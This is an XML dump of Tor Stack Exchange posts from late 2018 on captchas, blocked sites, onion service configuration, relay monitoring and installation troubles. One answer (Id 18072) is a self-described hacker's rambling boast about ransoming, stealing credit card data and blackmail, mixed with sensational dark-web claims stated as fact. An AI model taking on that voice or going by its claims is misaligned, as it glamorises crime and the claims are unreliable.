  <row Id="18004" PostTypeId="1" CreationDate="2018-11-13T23:50:56.247" Score="2" ViewCount="134" Body="&lt;p&gt;Sometimes, &lt;a href=&quot;https://tor.stackexchange.com/q/17974/22877&quot;&gt;when Google’s new captchas annoy me when using Tor&lt;/a&gt;, I would like to use Google’s audio captchas as an alternative. But as soon as I click on the headphone symbol in order to listen to an audio captcha, I get this &lt;strong&gt;every time&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QmEs2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QmEs2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I the only one or is it impossible to solve Google audio captchas when using Tor?&lt;/p&gt;&#xA;" OwnerUserId="22877" LastActivityDate="2018-11-13T23:50:56.247" Title="No Google audio captchas via Tor?" Tags="|google|captcha|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18006" PostTypeId="1" CreationDate="2018-11-14T09:29:17.503" Score="3" ViewCount="3345" Body="&lt;p&gt;I'm trying to get onto lifewire.com and for some reason when I'm using Tor it throws up an 'Error 462 Not Allowed' page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know why this is? The website is pretty vanilla not exactly NSFW.&lt;/p&gt;&#xA;" OwnerUserId="23556" LastEditorUserId="88" LastEditDate="2019-02-26T19:41:13.490" LastActivityDate="2019-02-26T19:41:13.490" Title="Error 462 Not Allowed" Tags="|error|blocked-services|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18007" PostTypeId="2" ParentId="17999" CreationDate="2018-11-14T14:39:10.547" Score="1" Body="&lt;p&gt;My understanding is that you get a randomized name assigned to you. Don't think you can reserve a specific name. General instructions for setting up an onion site can be found here:&#xA;&lt;a href=&quot;https://www.torproject.org/docs/tor-onion-service.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/tor-onion-service.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23560" LastActivityDate="2018-11-14T14:39:10.547" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18009" PostTypeId="1" CreationDate="2018-11-15T09:06:14.540" Score="1" ViewCount="634" Body="&lt;p&gt;i am using TOR to scrape .onion website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i am making 1 request per second to be on safe side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my question is can TOR network/specific relay server BAN my server's IP address for making too many requests in short period of time ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what happens if something like this happens ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;will TOR installed on my machine find new relay on its own or i have to issue ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;service tor restart&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;every few hours for finding new relay servers ?&lt;/p&gt;&#xA;" OwnerDisplayName="user14856" LastActivityDate="2022-01-06T08:05:50.610" Title="can TOR network ban my ip for making too many requests?" Tags="|configuration|ip-address|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18015" PostTypeId="1" CreationDate="2018-11-16T15:38:09.097" Score="1" ViewCount="1290" Body="&lt;p&gt;The only reason I downloaded TOR was to watch porn to be honest, but this is really ruining my experience. Can someone please help me? I really feel frustrated.&lt;/p&gt;&#xA;" OwnerUserId="23578" LastActivityDate="2018-11-16T15:38:09.097" Title="Pornhub showing 12 video thumbnails+user icons and blank afterwords" Tags="|help|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18016" PostTypeId="2" ParentId="17978" CreationDate="2018-11-16T20:05:55.697" Score="0" Body="&lt;p&gt;Did you check your hostname file to ensure the location did not change? If the service is active, it does not sound like it is failing. That's why I'm suggesting that maybe there's an issue with how you're accessing it.&lt;/p&gt;&#xA;" OwnerUserId="23579" LastActivityDate="2018-11-16T20:05:55.697" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18017" PostTypeId="2" ParentId="17950" CreationDate="2018-11-16T20:32:02.620" Score="0" Body="&lt;p&gt;I don't really understand the suggestion that it's easy to hack or something. I would think possibly less so, or at least with PHP the code is stored server side rather than in the browser. Someone could potentially have an exploit for a particular PHP version, but that is likely to affect more than just a hidden service. If in doubt, maybe a static site is more secure, although likely less interesting.&lt;/p&gt;&#xA;" OwnerUserId="23579" LastActivityDate="2018-11-16T20:32:02.620" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18018" PostTypeId="1" CreationDate="2018-11-17T01:27:10.573" Score="1" ViewCount="54" Body="&lt;p&gt;I am on Linux. I use Tor mainly to browse on high(er) risk sites, like torrents and such.  Would it be safe to run my gmail account on one tab (of Tor) and on the other tab, to get into a &quot;risky website&quot; that will probably try to implant some Trojans into my computer or just look me out (identify me / my email).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is one tab can &quot;look&quot; at it's nighbor tab and 'read' its data?&lt;/p&gt;&#xA;" OwnerUserId="23580" LastActivityDate="2018-11-17T01:27:10.573" Title="can one tab &quot;look&quot; at it's nighbor tab and 'read' its data?" Tags="|security|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18024" PostTypeId="1" CreationDate="2018-11-19T05:27:28.963" Score="1" ViewCount="1857" Body="&lt;p&gt;I am trying to setup a .onion address to point to my https site. Every time I try to access it from the .onion address I get a warning in Tor browser: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Your connection is not secure. The owner of myonionaddress.onion has&#xA;  configured their website improperly. To protect your information from&#xA;  being stolen, Tor Browser has not connected to this website.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other .onion sites (facebook's, duckduckgo's, etc.) load fine and don't have a warning...just mine. What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /home/user/onion_folder&#xA;HiddenServiceVersion 3&#xA;HiddenServicePort 443 187.485.887.28:443 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;running version 0.3.4.9&lt;/p&gt;&#xA;" OwnerUserId="23597" LastEditorUserId="23597" LastEditDate="2018-11-19T05:32:49.217" LastActivityDate="2018-11-19T05:32:49.217" Title="Your connection is not secure" Tags="|configuration|https|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18026" PostTypeId="1" AcceptedAnswerId="18052" CreationDate="2018-11-20T14:38:49.513" Score="0" ViewCount="115" Body="&lt;p&gt;Recently I have set up a Tor relay, I can view the approximate data usage from the [Heartbeat] notifications, but as far as I know you can't manually activate it. As well, I'm SSHing to my server, and I can't interface with the already open terminal that is running the relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to get a count of the amount of data that my relay has transferred over a certain amount of time? And a way to get the realtime transfer rate in kbps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any sort of help would get greatly appreciated,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="23602" LastActivityDate="2018-12-26T17:03:00.620" Title="How to check the realtime data transfer amount of my Tor relay" Tags="|relays|routers|node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18028" PostTypeId="2" ParentId="18009" CreationDate="2018-11-21T13:27:01.703" Score="0" Body="&lt;p&gt;Tor will not ban you but your target site can.&lt;/p&gt;&#xA;" OwnerUserId="22654" LastActivityDate="2018-11-21T13:27:01.703" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18030" PostTypeId="1" CreationDate="2018-11-22T00:54:29.813" Score="0" ViewCount="117" Body="&lt;pre&gt;&lt;code&gt;11/22/18, 00:40:39.932 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;11/22/18, 00:40:39.932 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;11/22/18, 00:40:39.933 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;11/22/18, 00:40:39.933 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;11/22/18, 00:40:39.933 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;11/22/18, 00:40:40.660 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;11/22/18, 00:41:10.979 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 10; recommendation warn; host 24E2F139121D4394C54B5BCC368B3B411857C413 at 204.13.164.118:443) &#xA;11/22/18, 00:41:10.980 [WARN] 10 connections have failed: &#xA;11/22/18, 00:41:10.981 [WARN]  9 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;11/22/18, 00:41:10.990 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object) &#xA;11/22/18, 00:41:11.630 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;11/22/18, 00:41:11.630 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;11/22/18, 00:41:11.630 [NOTICE] Closing old Socks listener on 127.0.0.1:9150&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23612" LastEditorUserId="-1" LastEditDate="2018-11-27T20:47:49.050" LastActivityDate="2018-11-27T20:47:49.050" Title="cant connect to tor" Tags="|network-configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18033" PostTypeId="1" CreationDate="2018-11-22T18:00:36.837" Score="0" ViewCount="120" Body="&lt;p&gt;How does some websites knows that we are using onion browser.&#xA;Some of the online shopping websites won't even let in to enter using the tor browser? How is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance take this below picture as examples&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4hucb.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4hucb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BTbrN.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BTbrN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should we configure the tor browser even though tor censors are enabled?&#xA;How do we encrypt all the information passing through the nodes, just like as an VPN?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to achieve &#xA;IP + SSL = ?&lt;/p&gt;&#xA;" OwnerUserId="21327" LastActivityDate="2022-01-07T11:06:55.590" Title="Website Block's IP address using some browsers and downloader crawlers" Tags="|configuration|ip-address|blocked-services|web-proxy|ip-address-leak|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18038" PostTypeId="2" ParentId="18033" CreationDate="2018-11-23T16:18:53.100" Score="0" Body="&lt;p&gt;It could be that the website you are trying to access is aware that your IP address that you appear to be from is actually a Tor exit node.  This would tell the website that you are using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/Matthew Campbell&lt;/p&gt;&#xA;" OwnerDisplayName="user23625" LastActivityDate="2018-11-23T16:18:53.100" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18040" PostTypeId="2" ParentId="6445" CreationDate="2018-11-23T16:33:37.427" Score="0" Body="&lt;p&gt;Your ISP should not be able to tell what websites you are visiting with Tor unless they can decrypt the packets.  They would have to peel away each layer of the onion, if you will.  My ISP is also hostile to proxy services like Tor.  I'm still trying to find away around it.  I can connect to Tor, with or without a bridge, but then it locks up.  My ISP starts blocking the packets so I can't go anywhere.  They appear to be running some kind of packet inspection.  I have had success with a vpn service that used antiDPI or SSL VPN, but not an open vpn, though that still doesn't help me use Tor since it uses its own vpn.  I'm still trying.  Hopefully I'll find a way soon.  It's possible that your ISP has gathered a list of Tor bridges on their own, posing as individuals, in order to create a list of bridges to block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/Matthew Campbell&lt;/p&gt;&#xA;" OwnerDisplayName="user23625" LastActivityDate="2018-11-23T16:33:37.427" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18044" PostTypeId="2" ParentId="17580" CreationDate="2018-11-24T03:39:38.717" Score="0" Body="&lt;p&gt;The socks proxy is run on your own computer. It's not something over the network. Tor needs it as an additional layer to talk with the applications since the applications don't speak Tor protocol. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regardless, the entry node NEEDS to know the client's IP address, or else there is no way it can send the response (the content you requested) back to you. Think of it as sending a mail. How are you gonna receive the response if nobody knows where you are? Tor simply acts as a series of third parties that delivers the mail for you, but in the end there got to be somebody that knows where you are. It's just a matter of who you trust to give this information to. The point of Tor is that since there is a chain of middle nodes, with each only knowing their direct upstream and downstream neighbor, no one knows at the same time the source AND the final destination of the message (unless all nodes on the chain so happen to be controlled by the same party).&lt;/p&gt;&#xA;" OwnerUserId="23626" LastEditorUserId="23626" LastEditDate="2018-11-24T03:47:15.290" LastActivityDate="2018-11-24T03:47:15.290" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18045" PostTypeId="2" ParentId="17974" CreationDate="2018-11-24T07:13:42.830" Score="4" Body="&lt;p&gt;Yes. This for me happens only with Tor. I have tested multiple VPN and browser configs and the only combination that got the &quot;please try again&quot; error was Tor. Furthermore sometimes even when the captcha is solved I get the message &quot;That reCAPTCHA did not work. Please try again.&quot;&lt;/p&gt;&#xA;" OwnerUserId="23628" LastActivityDate="2018-11-24T07:13:42.830" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18051" PostTypeId="2" ParentId="18030" CreationDate="2018-11-26T15:00:20.550" Score="1" Body="&lt;p&gt;Are you trying to connect using bridges?&lt;br&gt;&#xA;If so try getting new bridges from &lt;a href=&quot;https://bridges.torproject.org/bridges?transport=obfs4&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bridges.torproject.org/bridges?transport=obfs4&lt;/a&gt; and make sure you paste the whole configuration line instead of just ip address and port.&lt;/p&gt;&#xA;" OwnerUserId="23642" LastActivityDate="2018-11-26T15:00:20.550" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18052" PostTypeId="2" ParentId="18026" CreationDate="2018-11-26T16:30:23.230" Score="0" Body="&lt;p&gt;Use nyx - a command line monitor for tor &lt;a href=&quot;https://www.torproject.org/projects/nyx.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/projects/nyx.html.en&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23642" LastActivityDate="2018-11-26T16:30:23.230" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18054" PostTypeId="1" AcceptedAnswerId="18057" CreationDate="2018-11-27T00:50:52.773" Score="1" ViewCount="1003" Body="&lt;p&gt;I want to host my tor hidden service on my Raspberry Pi. But is it safe? Will my ISP know that my network is always having access with tor? And can my IP address get exposed ? Should I use a VPN on my Raspberry Pi?&lt;/p&gt;&#xA;" OwnerUserId="23645" LastActivityDate="2019-01-29T06:48:30.123" Title="Is it safe to host tor hidden service website on my Raspberry Pi?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18057" PostTypeId="2" ParentId="18054" CreationDate="2018-11-27T09:41:56.007" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;But is it safe?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;like with every server: this depends on your setup/configuration.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Will my ISP know that my network is always having access with tor?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;whether it is Tor or not, your ISP will always know to what servers you are connecting. - but it hardly makes a difference (from that point of view) if you are using Tor or running a hidden service... and definitively no difference if you are running a relay or hidden service.&lt;br&gt;&#xA;perhaps have a look at (and play around with) &lt;a href=&quot;https://www.eff.org/pages/tor-and-https&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.eff.org/pages/tor-and-https&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And can my IP address get exposed?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;by what? - if Tor suffers a security issue and you don't maintain/upgrade your server, probably yes... but see section 1, it depends on your setup, configuration, know-how, etc.&lt;br&gt;&#xA;IMHO if you know how to securely setup a server and a hidden service, it may be riskier (for IP-exposure) to surf the Web (different unknown sites with different, malicious content, javascript, etc.) than providing a server.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Should I use a VPN on my Raspberry Pi?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;why? what do you want to achieve with a VPN?&lt;br&gt;&#xA;--&gt; i don't get it why again and again users want to combine Tor with a VPN?!? - in the best case this is just an additional possible point of failure; in the worst case it counteractes the Tor-usage and harms resp. destroys your privacy/anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;once and for all: a VPN has nothing to do with anonymity! - it just encrypts your traffic from your device to the VPN-server (which is just another man-in-the-middle); and from there it is redirected &quot;unencrypted&quot; (resp. as much/little encrypted as it were without a VPN) to the destination. - therefore it may only be an improvement, if you strongly distrust your ISP, hotspot, etc. (but then you still have to trust the VPN-provider!).&lt;br&gt;&#xA;and if you are using Tor anyways, &lt;a href=&quot;https://www.torproject.org/docs/bridges.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;bridges&lt;/a&gt; are the far better solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;not really an answer to your question, but some important things regarding Tor and VPN: &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#IsTorLikeAVPN&quot; rel=&quot;nofollow noreferrer&quot;&gt;Is Tor like a VPN?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5234" LastEditorUserId="5234" LastEditDate="2018-12-15T17:26:18.850" LastActivityDate="2018-12-15T17:26:18.850" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18061" PostTypeId="1" CreationDate="2018-11-27T18:49:48.830" Score="4" ViewCount="681" Body="&lt;p&gt;Is it possible, and if so how, to set tor so that my entry and/or exit IP will be from a specific state in the US ? Idk like NY, FL, TX, CA...&#xA;I already know how to choose a specific country, but i'd like to know if i can choose the state as well !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks !&lt;/p&gt;&#xA;" OwnerUserId="23656" LastActivityDate="2020-04-28T12:22:08.357" Title="How to set an IP address from a specific state in the US?" Tags="|configuration|anonymity|help|ip-address|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18064" PostTypeId="1" CreationDate="2018-11-28T22:02:27.787" Score="1" ViewCount="4467" Body="&lt;p&gt;I have downloaded Tor and tried to install but when I try to open the install it just opens a text file. Is there something else that I need?  What am I doing wrong?  Sorry this is the Tor I downloaded linux64-8.5a4_en-US.tar.xz and I am running Kali GNU/Linux Rolling 64-bit.&lt;/p&gt;&#xA;" OwnerUserId="23662" LastEditorUserId="88" LastEditDate="2019-06-07T21:19:03.377" LastActivityDate="2019-06-07T21:19:03.377" Title="Tor install in Kali linux will not work?" Tags="|tor-browser-bundle|tor-install|kali-linux|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18066" PostTypeId="2" ParentId="18064" CreationDate="2018-11-28T22:16:49.330" Score="2" Body="&lt;p&gt;Welcome to the community and definitely thank you for using Tor =D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just realized you mentioned Kali linux.&#xA;I'm also going to assume you meant you downloaded the Tor Browser Bundle?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Kali Linux, you are logged in as root user(default but not the only option).&#xA;Tor Browser Bundle DOES NOT run with root permissions, it will let you know that if you manage to run it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to create a new user and log in under that to run Tor Browser Bundle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other way is to just use Tor that comes with Kali, and setup a proxy to tunnel a browsers traffic through Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to extract the downloaded Tor Browser Bundle to a directory, then navigate to that directory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once there, you will need to mark the Tor Browser Launcher file as executable. This can be achieved by right clicking it, choosing properties, and selecting the permissions tab and you will be presented with an option to mark it as executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click apply/save/ok and you should now be able to open the launcher as intended.&lt;/p&gt;&#xA;" OwnerUserId="22029" LastActivityDate="2018-11-28T22:16:49.330" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18067" PostTypeId="1" CreationDate="2018-11-29T00:37:48.627" Score="1" ViewCount="907" Body="&lt;p&gt;I downloaded Tor some while ago but never really used it. Recently I started it up and got &quot;Signature Verification Failed. You may be under attack or there might just be a network problem. Click start and try the download again.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not under attack and I don't have a network problem. In fact, I tried from two different networks in two different houses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My computer is a Linux Ubuntu 16.4 LTS. But I am not an expert Linux admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/icyAC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/icyAC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23664" LastActivityDate="2021-12-19T08:07:25.653" Title="I am getting &quot;signature verification failed&quot;" Tags="|tor-browser-bundle|tor-install|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18069" PostTypeId="1" AcceptedAnswerId="18098" CreationDate="2018-11-29T15:25:06.600" Score="0" ViewCount="761" Body="&lt;p&gt;I have just finished setting up a Tor relay and am using &lt;code&gt;nyx&lt;/code&gt; for monitoring. I am constantly being warned about the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Nov 29 20:49:54.000 [warn] TLS error: internal error (in SSL routines:tls13_hkdf_expand:---)&#xA;Nov 29 20:50:04.000 [warn] Unhandled OpenSSL errors found at ../src/common/buffers_tls.c:155:&#xA;Nov 29 20:50:04.000 [warn] TLS error: internal error (in SSL routines:tls13_hkdf_expand:---)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is that something to be concerned about... and anyway why is this happening?&lt;/p&gt;&#xA;" OwnerUserId="23668" LastEditorUserId="5234" LastEditDate="2018-12-02T13:52:13.137" LastActivityDate="2019-02-18T01:41:32.890" Title="TLS and OpenSSL errors" Tags="|nyx|ssl|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18070" PostTypeId="1" CreationDate="2018-11-29T21:50:33.723" Score="1" ViewCount="93" Body="&lt;p&gt;I have recently bought an Apple IPad that uses mostly cellular data. I bought the device so I could travel with my husband on his semi truck and not have to worry about having a WiFi signal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1st I am not sure what version of Tor to dl. I tried the IOS/Mac and it did dl but just disappeared to where, I never found??. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2nd And most important I believe, will Tor run without a WiFi connection?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I truly appreciate you folks being here to help for beginners like me! Thank you. &lt;/p&gt;&#xA;" OwnerUserId="23671" LastActivityDate="2018-12-11T10:59:58.043" Title="Tor on Apple IPad? Is it possible with only Cellular Data?" Tags="|tor-install|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18072" PostTypeId="2" ParentId="3697" CreationDate="2018-11-30T09:12:48.347" Score="0" Body="&lt;p&gt;Ok i will shine a little light on the deep dark web as a hacker myself the idea of hacking is to secretly transfer your code on to a hosts PC for reasons such as ransoming their computer (whether i convince them to buy a fix or directly demand cash)Data mining auto fill credit card information that i can use to make a withdraw. Taking personal or blackmail data to make money, proving a point to a wannabe or if im feeling trollzy and only when im felling trollzy will u ever know that u have been infiltrated unless u have some god lvl firewall that alerts u every time a Nat farts near your pc in which case it will probably be to late by the time your allerted&#xA;          But the point im trying to make is trolling means causing the biggest reaction with the smallest about of effort possible &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so if i literly tell u that u have been hacked just by going on a site might even ask your pc to give me a name so i can address u properly or put a bunch of computer mombo like [C:/x86/Steam/Steamapps/] contains malicious files your computer will crash shortly the idea is the put the stupidest shit possible and make people believe it &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; half of defending yourself aganst hacking is in your head &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if i have your ip and u know u were on the big scary deep dark web with a billion bad guys that might know u and i threaten to give it out to them well your going to pay me of course&lt;br&gt;&#xA;         but if u have now one after u and a hacker threatens u with your ip then its more or less &quot;go tell someone who cares because whoever u tell is going to laugh u in the face&quot; because your nobody to nobody on the dark web&lt;br&gt;&#xA;         if a hacker feels he can bully u in to giving him money that's the only time your in trouble &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  so a little advice to all the wana be hackers its ok to explore the dark web but don't go were u don't belong because unlike youtube and the rest of the world if u click on a room that says DeadRoom or RedExtrordinare aka a red room u will find a red room its not click bait and if u act suspicious they will think your the fbi or someone trying to report or arrest them so the best advice i can give u is fit in because the dark web isn't scary its the community u hafto watch out for&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ok this is a list of key words to watch out for unless your about this life Red (anything red literly guys even down to redtube lol)&#xA;(Monkey house) anything to do with clowns(aka juggalos u may see death and shit and if u don't fit in they might get offended)&#xA;Drug-Arms(srrsly guys do u really want to give drug dealers from gangs like the cartel your address to mail drugs through a federal system?)&#xA;Any cracked Video Game or Any software were u dont know the person directly or offer a reward for honesty (i garentee if it didn't make it to the normal web it has malicious software)&#xA;stay away from hyper links given by anyone in any chat room because if u have java installed most links alone can auto download shit without even notifying u at all &#xA;so basically guys theirs no such thing as a Dark Web Torist theirs no gift shops and the sights u might see may kill u for little to no satisfaction so good luck and be safe !! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;//This was a rough draft im not going to go back and edit it it has typos Deal with it or don't read it//&lt;/p&gt;&#xA;" OwnerUserId="23672" LastEditorUserId="23672" LastEditDate="2018-11-30T09:32:40.310" LastActivityDate="2018-11-30T09:32:40.310" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18074" PostTypeId="1" CreationDate="2018-11-30T15:16:07.063" Score="0" ViewCount="1585" Body="&lt;p&gt;My arch-nemesis, Akamai, is interfering with my ability to live my daily life.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to use Tor Browser to connect to a website that blocks Tor IP addresses by using an open proxy after Tor.  It doesn't matter which protocol to me, so if the method only works with one protocol, that's fine.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/1229/how-to-chain-proxy-after-tor/&quot;&gt;This question&lt;/a&gt; is very similar, but it doesn't specify browser, and Firefox has too wide of a fingerprinting surface for my application.  I'd like to use Tor Browser's fingerprint from a different IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;cd Browser; torsocks ./firefox --safe-mode&lt;/code&gt; would work in theory if you changed the proxy settings, but in practice, it never actually launches.&lt;/li&gt;&#xA;&lt;li&gt;Web-based proxies are right out.  I need an SSL handshake with the remote host to even consider conducting business over the network.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;cd Browser; proxychains ./firefox --safe-mode&lt;/code&gt; is liable to leak DNS information, isn't it?  I recall reading that &lt;code&gt;proxychains&lt;/code&gt; doesn't use remote DNS resolution, and just runs a regular &lt;code&gt;dig&lt;/code&gt; command.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?  If there's something like &lt;code&gt;proxychains&lt;/code&gt; that runs as its own proxy server and I can just set the proxy to that in &lt;code&gt;--safe-mode&lt;/code&gt; that might just solve the problem, but for the life of me, I can't find that.&lt;/p&gt;&#xA;" OwnerUserId="23674" LastEditorUserId="23677" LastEditDate="2019-02-21T22:34:16.787" LastActivityDate="2022-07-12T21:01:30.130" Title="How to run the tor browser through a second proxy after Tor?" Tags="|tor-browser-bundle|anonymity|proxy|blocked-services|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
